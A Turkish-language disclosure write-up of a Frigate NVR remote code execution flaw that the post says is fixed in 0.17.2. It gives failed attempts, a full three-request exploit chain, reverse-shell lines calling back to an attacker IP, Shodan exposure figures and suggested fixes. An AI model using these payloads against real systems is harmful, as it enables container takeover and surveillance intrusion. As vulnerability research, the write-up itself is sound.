Frigate NVR — Remote Code Execution — shaggy
Bir kamera önerisi araştırmasının container root shell’e evrilmesinin tam hikayesi. Denenip çöpe giden üç yoldan başarılı zincire.
Bu yazıda sadece exploit’i değil, oraya varana kadar denenip başarısız olan üç farklı vektörü de paylaşıyoruz. Çünkü gerçek araştırma, çoğu zaman başarısızlıkların üst üste binmesinden ibarettir.
Frigate NVR‘ın go2rtc API proxy’sinde exec: filtresi bypass edilerek, kimliği doğrulanmış bir admin kullanıcısından Docker container’da root shell elde edilebiliyor.
Etkilenen sürümler:
>= 0.13.0,< 0.17.2· Düzeltildi:0.17.2· Ciddiyet: Kritik (CVSS 9.1)Bu zafiyet Frigate ekibine sorumlu bir şekilde bildirildi. GHSA-wwww-5h25-jf98 danışma belgesiyle yayımlandı ve
0.17.2sürümünde düzeltildi.
Bu Araştırma Nasıl Başladı?
Bu araştırma bir güvenlik laboratuvarında değil, gerçek bir ihtiyaçla başladı.
Bir arkadaşımızın evine hırsız girdi. Güvenliği için evine kamera taktırmak istedi. Biz de birkaç IP kamera belirleyip ona önerebileceğimiz açık kaynak bir çözüm aramaya başladık. En iş görür seçenek Frigate NVR çıktı. Yerel yapay zekâ ile insan, araç gibi nesneleri algılayabiliyordu, buluta bağımlı değildi.

Çözümü arkadaşımıza önerdik. Sonra da merakımıza yenik düşüp ürünü kendi ortamımıza kurup kurcalamaya başladık. Bu masum merak, bizi bu yazıdaki zafiyete götürdü. Bir kullanıcı olarak başladık, bir araştırmacı olarak bitirdik.
Terimler Sözlüğü
Yazı boyunca geçen kavramlar:
| Terim | Açılımı | Ne İşe Yarar |
|---|---|---|
| RTSP | Real Time Streaming Protocol | IP kameralardan gerçek zamanlı veri akışını sağlayan protokol |
| ONVIF | Open Network Video Interface Forum | Farklı marka IP kameraların birbiriyle entegre çalışmasını sağlayan protokol |
| go2rtc | Go Real-Time Communications | Kameralardan gelen görüntüleri toplayıp gerektiğinde format dönüştüren restream servisi |
| ffprobe | Fast Forward Probe | Bir multimedyanın meta verilerini analiz eden komut satırı aracı |
| ffmpeg | Fast Forward MPEG | Ses/video dosyalarını işlemek ve dönüştürmek için kullanılan komut satırı aracı |
ffmpegbir işleme aracıdır.ffprobeise dosya ve akışları analiz etmeye yarar. Bu fark, ilerideki bölümde neden ikisinin de saldırı yüzeyine dahil olduğunu anlamak için önemli.
Frigate NVR Nedir?
Açık kaynak, yapay zekâ tabanlı bir Ağ Video Kaydedici (NVR). IP kameralardan gelen RTSP akışlarını işler, TensorFlow Lite ile insan/araç/hayvan gibi nesneleri tespit eder, olayları kaydeder ve Home Assistant ile derin entegrasyon sağlar. Donanım hızlandırmalı yerel çıkarım (Coral, GPU) sayesinde buluta veri gitmez. Tek bir Docker container olarak çalışır ve self-hosted gözetimde en yaygın platformlardan biri.
- 100.000+ aktif kurulum (dünya geneli, 2024)
- 34.400 GitHub yıldızı
- RTSP, ONVIF, HLS ve
exec:protokollerini destekleyen bir restream servisi (go2rtc) gömülü olarak çalışır ve iç HTTP API’sini port 1984’te sunar

Başarısız Denemeler
Bu bölümü atlamayın. Asıl exploit’e giden yol, üç ayrı vektörün elenmesinden geçti. Her biri, uygulamanın savunma katmanları hakkında bir şey öğretti.
1. ONVIF Probe: SSRF Denemesi
Amaç: /api/onvif/probe endpoint’indeki host parametresini kendi kontrolümüzdeki bir adrese yönlendirip Frigate’in outbound trafiğini yakalamak, kullanıcı girdisinin SOAP mesajına yansıyıp yansımadığını görmek.
GET /api/onvif/probe?host=192.168.1.103&port=80&username=admin&password=admin&auth_type=basic HTTP/1.1
Host: localhost:5001
Cookie: frigate_token=eyJ0eXAiOiJKV1QiLCJhbGc...Dinleyicide gelen trafiği yakaladık:

Frigate, verdiğimiz adrese otomatik bir ONVIF GetCapabilities isteği attı. Body’de WS-Security UsernameToken ile sarılmış SOAP XML taşıyordu. Ama kaynak kodu incelediğimizde neden başarısız olduğumuzu gördük:
1# frigate/api/camera.py — L506
2@router.get("/onvif/probe")
3async def onvif_probe(host: str, port: int = 80, username: str, ...):
4 if not _is_valid_host(host):
5 return JSONResponse(..., status_code=400)
6
7 onvif_camera = ONVIFCamera(host, port, username or "", password or "", wsdl_dir=wsdl_base)
8 await onvif_camera.update_xaddrs()
9 media = onvif_camera.create_media_service()
10 profiles = media.GetProfiles()
11 # zeep → WSDL şemasından şema-bağlı XML üretirhost parametresi doğrudan ONVIFCamera‘nın TCP argümanı olarak geçiyor. SOAP body’ye hiç dokunmuyor. Payload zeep kütüphanesi tarafından WSDL şemasından üretiliyor, kullanıcı girdisi soket katmanında kalıyor. Bu vektörden ne RCE çıktı ne SSRF. Ama outbound TCP bağlantısını tetiklediğimizi doğruladık. Bu bilgi ileride işimize yarayacaktı.
2. Export API: ffmpeg Komut Enjeksiyonu Denemesi
Amaç: Kamera kaydı export endpoint’inde ffmpeg_output_args parametresine shell komutu gömerek OS komutu çalıştırmak.
POST /api/export/custom/kamera1/start/1717776000/end/1717779600 HTTP/1.1
Content-Type: application/json
{
"source": "recordings",
"ffmpeg_output_args": "-c copy; bash -i >& /dev/tcp/192.168.1.103/1881 0>&1"
}İstek 202 Accepted ile kabul edildi, bir export_id döndü. Ama dinleyicide hiçbir bağlantı gelmedi. İş durumuna baktığımızda:
1{"status": "failed", "error": "Option ; (global) not found."}Kaynak kodu incelediğimizde nedenini bulduk:
1# frigate/record/export.py
2ffmpeg_cmd = (...).split(" ") # string → liste
3
4proc = sp.Popen(
5 ffmpeg_cmd, # liste → shell=False (varsayılan)
6 stdin=sp.PIPE,
7 stderr=sp.PIPE,
8)ffmpeg_output_args, subprocess.Popen() çağrısından önce .split(" ") ile bir listeye dönüştürülüp doğrudan execve(2) syscall’ına geçiyor. Araya /bin/sh hiç girmediği için ; karakteri shell operatörü olarak yorumlanmıyor. ffmpeg onu bilinmeyen bir argüman sanıp hata veriyor. Command chaining bu yoldan kurulamadı. Payload sunucuya ulaştı ama hiçbir shell tetiklenmedi.
3. Reolink Detect SSRF: İç Servis Keşfi
Amaç: /api/reolink/detect endpoint’i üzerinden go2rtc’nin iç API’sine (127.0.0.1:1984) istek attırıp bir SSRF/port-oracle yüzeyi bulmak.
GET /api/reolink/detect?host=127.0.0.1:1984&username=admin&password=admin HTTP/1.1_is_valid_host() fonksiyonu yalnızca karakter setini kontrol ediyor (a-z, 0-9, ., -), loopback adresini formatça geçerli sayıyor. SSRF isteği go2rtc’ye gerçekten ulaşıyor. Ama endpoint sabit olarak Reolink-spesifik /api.cgi path’ine yöneliyor, go2rtc bu path’i tanımadığı için 404 dönüyor:
1{"success": false, "protocol": null, "message": "Failed to connect to camera API: HTTP 404"}Ek olarak farklı portları deneyerek bir timing/port oracle doğruladık: 127.0.0.1:22 timeout verirken 127.0.0.1:5001 hızlı yanıt döndü. İç servisleri ayırt edebiliyorduk, ama exec: tetiklemek için gereken /api/stream.mp4?src=<isim> consumer bağlantısına bu yoldan ulaşamadık. SSRF burada gerçekten var, sadece silahlandırılamıyor.

Üç vektör, üç farklı “neredeyse”. Ama hiçbiri tam kırılmıyordu. Odağı, kaynak kodda gördüğümüz ama UI’da hiçbir butona bağlı olmayan bir endpoint’e çevirdik: go2rtc stream kayıt API’si.
Başarılı Zincir: Admin’den Root Shell’e
Üç ayrı vektörün elenmesinden sonra bulduğumuz zincir üç HTTP isteğinden ibaretti. Hiçbiri UI’da bir butona bağlı değildi, ikisi kaynak kodda gördüğümüz ama arayüzde hiç kullanılmayan endpoint’lerdi.
Adım 1: Kimlik Doğrulama
POST /api/login HTTP/1.1
Content-Type: application/json
{"user":"admin","password":"505918028d544320d08cdb2888eb193a"}HTTP/1.1 200 OK
Set-Cookie: frigate_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...Bu adımda exploit yok. Sadece geçerli bir admin oturumu açıyoruz.
Adım 2: go2rtc’ye exec: Stream Kaydı
Kaynak kodda tespit ettiğimiz bu endpoint UI’da hiçbir butona bağlı değil, yalnızca admin rolüne açık:
PUT /api/go2rtc/streams/revshell?src=exec:/tmp/rev.sh HTTP/1.1
Cookie: frigate_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...HTTP/1.1 200 OK
{"success": true, "message": "Stream added successfully"}Neden filtre devreye girmiyor?
1# frigate/api/camera.py — L120 → sadece admin erişebilir
2@router.put("/go2rtc/streams/{name}", dependencies=[Depends(require_role(["admin"]))])
3def go2rtc_add_stream(req, name, src=""):
4 if src: params["src"] = substitute_frigate_vars(src) # ← is_restricted_source() ÇAĞRILMIYOR
5 requests.put("http://127.0.0.1:1984/api/streams", params=params)
6
7# create_config.py'deki filtre — SADECE config.yml → go2rtc.yaml dönüşümünde çalışır:
8def is_restricted_source(source: str) -> bool:
9 RESTRICTED = ["exec:", "shell:", "echo:"]
10 return any(source.startswith(p) for p in RESTRICTED)
11# → bu fonksiyon go2rtc_add_stream() içinde hiç çağrılmıyoris_restricted_source() filtresi yalnızca config.yml → go2rtc.yaml dönüşüm pipeline’ında çalışıyor. API üzerinden gelen bu runtime endpoint’i tamamen farklı bir kod yolu izliyor, filtre buraya hiç eklenmemiş. substitute_frigate_vars() sadece {camera} gibi Frigate değişkenlerini çözüyor. exec: protokolünü tanımıyor, filtrelemeden go2rtc‘ye iletiyor.
Neden dosya, neden inline komut değil?
go2rtcHTTP API’siexec:bash -c '...'gibi>,&,;içerensrcdeğerlerini400ile reddediyor. Amaexec:/tmp/rev.sh(özel karakter yok) kabul ediliyor. Bu yüzden önce container’a dosya yazıyoruz:1docker exec frigate bash -c 'cat > /tmp/rev.sh << "EOF" 2#!/bin/bash 3bash -i >& /dev/tcp/192.168.1.103/1881 0>&1 4EOF 5chmod +x /tmp/rev.sh'
Bu noktada tek koruma katmanı require_role("admin"). Payload artık go2rtc’de kayıtlı ve bir consumer bağlantısı bekliyor.
Adım 3: SSRF ile Tetikleme
ffprobe/snapshot endpoint’i url parametresini doğrulama yapmadan doğrudan ffmpeg‘e iletiyor. go2rtc’nin 1984 portu da container içinden erişilebilir:
GET /api/ffprobe/snapshot?url=http%3A%2F%2F127.0.0.1%3A1984%2Fapi%2Fstream.mp4%3Fsrc%3Drevshell&timeout=30 HTTP/1.1
Cookie: frigate_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9... 1# frigate/api/camera.py — L329
2@router.get("/ffprobe/snapshot", dependencies=[Depends(require_role("admin"))])
3def ffprobe_snapshot(request: Request, url: str = "", timeout: int = 10):
4 image_data, error = run_ffmpeg_snapshot(config.ffmpeg, url, "mjpeg", timeout=timeout)
5 # ↑ url → iç ağ kısıtlaması YOK
6
7# frigate/util/image.py — L1169
8def run_ffmpeg_snapshot(ffmpeg, input_path: str, ...):
9 ffmpeg_cmd = [ffmpeg.ffmpeg_path, "-hide_banner", "-loglevel", "warning", "-i", input_path, ...]
10 proc = sp.Popen(ffmpeg_cmd, ...)ffmpeg, go2rtc‘nin revshell stream’ini tüketmeye çalışırken, go2rtc bunu ilk consumer olarak tanıyor. exec: kaydını tetikleme koşulu böylece karşılanıyor. Yanıt 408 Request Timeout döner (ffmpeg bir video akışı bekleyip zaman aşımına uğrar), ama arka planda script zaten fork edilmiş oluyor.
Adım 4: Shell Geldi
1ffmpeg → go2rtc iç HTTP'ye bağlanır
2 → go2rtc "revshell" stream'ini aktive eder
3 → exec:/tmp/rev.sh çalışır
4 → rev.sh içindeki bash komutu saldırganın IP'sine bağlanır
5 → nc terminaline shell düşer

1uid=0(root) gid=0(root) groups=0(root)Kimlik doğrulama, stream kaydı, SSRF tetikleme. Sadece üç HTTP isteğiyle, admin panelinden container içinde root shell’e ulaşıldı.
Gerçek Dünyada Kim Etkileniyor?
Shodan üzerinde canlı bir tarama yaptık. Aşağıdaki tablo Temmuz 2026 itibarıyla güncel:
| Bulgu | Sayı | Not |
|---|---|---|
| Açık Frigate paneli | 1.070 | http.title:"Frigate" |
| go2rtc’nin varsayılan portunda (1984) görünen örnek | 52 | bunların 51’i artık HTTP Basic Auth arkasında |
| TLS’siz panel (port 5000) | 292 | Frigate’in belgelenen düz-metin varsayılan portu, örneklerin hiçbirinde SSL yok |
Ülke dağılımı (ilk 6): ABD 288 · Çin 122 · Almanya 85 · Birleşik Krallık 58 · Fransa 46 · Japonya 35
Bu rakamları ilk topladığımızda bulduğumuz go2rtc örneklerinin büyük kısmı hiçbir kimlik doğrulaması olmadan doğrudan erişilebiliyordu. Bu yazıyı güncellerken aynı sorguyu canlı olarak tekrar çalıştırdık. Tablo iyi haberli bir tabloya dönüştü: 52 go2rtc örneğinin 51’i artık HTTP Basic Auth ile korunuyor. Neden olduğunu tam olarak bilmiyoruz, muhtemelen bu ve benzeri bulguların ardından gelen bir sertleştirme dalgasının sonucu. Ama asıl risk hâlâ duruyor: 1.070 Frigate paneli doğrudan internete açık ve bunlardan 292’si (port 5000) hiç TLS kullanmıyor.
Kritik nokta:
go2rtcartık büyük ölçüde auth arkasında olsa da, 1.070 Frigate paneli hâlâ doğrudan internete açık ve bunların 292’si TLS’siz. Authsuz birgo2rtcörneğine rastlanırsa (taradığımız 52’nin 1’i gibi), bu yazıdaki admin bypass zincirine bile gerek kalmadanexec:stream’i doğrudan kaydedip tetiklemek mümkün.
Düzeltme Önerisi
camera.py: go2rtc_add_stream() içine exec: kontrolü eklenmeli
1from frigate.util.services import is_restricted_source
2
3@router.put("/go2rtc/streams/{stream_name}", ...)
4def go2rtc_add_stream(request: Request, stream_name: str, src: str = ""):
5 if src and src.strip().startswith(("exec:", "echo:", "expr:")):
6 return JSONResponse(
7 content={"success": False, "message": "exec: sources are not allowed via API"},
8 status_code=403
9 )
10 # ... mevcut kod devam ederffprobe/snapshoturlparametresi internal adreslere (127.0.0.1,localhost, RFC1918 aralıkları) karşı kısıtlanmalıgo2rtciç API’si (port 1984) internete asla doğrudan açılmamalı. Reverse proxy arkasında, ayrı bir network namespace’te tutulmalı- Docker:
privileged: trueyerine yalnızca gerekli device’lar mount edilmeli
Hepsi bir arkadaşımıza kamera önerecektik diye başlamıştı.
